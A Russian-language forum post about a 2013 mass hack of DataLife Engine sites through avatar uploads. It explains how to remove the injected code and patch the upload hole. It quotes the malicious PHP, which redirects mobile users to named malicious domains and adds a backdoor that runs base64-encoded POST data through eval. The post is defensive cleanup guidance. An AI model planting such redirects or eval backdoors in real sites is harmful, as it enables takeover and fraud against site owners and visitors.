|
|
Инструкции, модификации и статьи для DLE Сборник инструкции, модов и статей по движку DataLife Engine |
|
Опции темы | Поиск в этой теме |
26.11.2013, 07:03 Вверх | #1 | |||
Коварный тип
|
Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим боротся?
Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим боротся?
источник статьи Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В том числе пострадал собственно и наш сайт. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков. Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое. В чем заключается взлом? Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш "интернет браузер" (иконка будет как в Google Chrome ), после установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса. Если же вы уже скачали приложение, то не в коем случае не устанавливайте его! Почему на это стоит обратить внимание? Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет. 1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто "царимоница" не будет, сразу попадете в бан. 2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей. 3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать. Какие файлы чаще всего подвержены заражению? В основном заражению подлежат вот эти файлы: index.php engine/engine.php engine/init.php engine/data/config.php engine/data/dbconfig.php Но это не исключение, у меня например еще был заражен и language/Russian/website.lng, что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language? Приступим! Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверятся с чистым движком, да бы не удалить лишнего): Код:
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); $android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); $palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); $berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); $ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod"); if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); } Так же возможен вот такой вариант вредоносного кода: Код:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/'); if(!empty($_POST['update'])) eval(base64_decode($_POST['update'])); if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/'); if(!empty($_POST['update'])) eval(base64_decode($_POST['update'])); Как эта дрянь попала на мой сайт? Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код: Код:
if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) { $thumb->jpeg_quality( $config['jpeg_quality'] ); $thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); } else { @rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); } Код:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); Латаем дыру Дыра сразу в трех файлах а именно в: engine/inc/editusers.php engine/modules/register.php engine/modules/profile.php Находим в них строку: Код:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); Код:
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ); $thumb->jpeg_quality( $config['jpeg_quality'] ); $thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай. tehApocalypse - заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай. Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил. "Я все сделал по инструкции, а у меня не пропала переадрисация, что делать?" 1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз. 2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок: statuses.ws live-internet.ws getinternet.ws Если такие имеются удаляйте их вместе с вредоносным кодом. 3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д. П.С. - Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому. |
|||